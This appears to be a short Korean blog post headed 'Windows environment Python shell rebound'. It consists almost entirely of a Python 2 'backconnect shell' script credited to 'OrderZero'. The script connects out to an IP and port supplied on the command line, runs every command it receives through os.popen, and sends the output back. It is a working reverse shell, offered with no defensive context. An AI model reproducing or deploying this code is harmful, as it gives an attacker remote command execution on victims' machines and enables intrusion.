본문 바로가기
프로그램 (PHP,Python)

윈도우 환경 Python 쉘 리바운드

by 날으는물고기 2010. 9. 10.

윈도우 환경 Python 쉘 리바운드

#!/usr/bin/python import socket import sys import os def usage(): print "Simple Python Backconnect Shell" print "Usage:" print "./bc.py [ip] [port]" quit() #Initialize socket s = socket.socket() #Check if required arguments have been filled try: ip = sys.argv[1] port = int(sys.argv[2]) except: usage() #Connect to given target IP & port try: s.connect((ip, port)) except: print "Connection Failed! Check your connection settings and try again." quit() while(1): data = s.recv(1024) if(data == 'quit\n'): s.close() break else: shell = os.popen(data).read() s.send(shell) print "Exiting..." s.close() #Author: OrderZero
728x90

댓글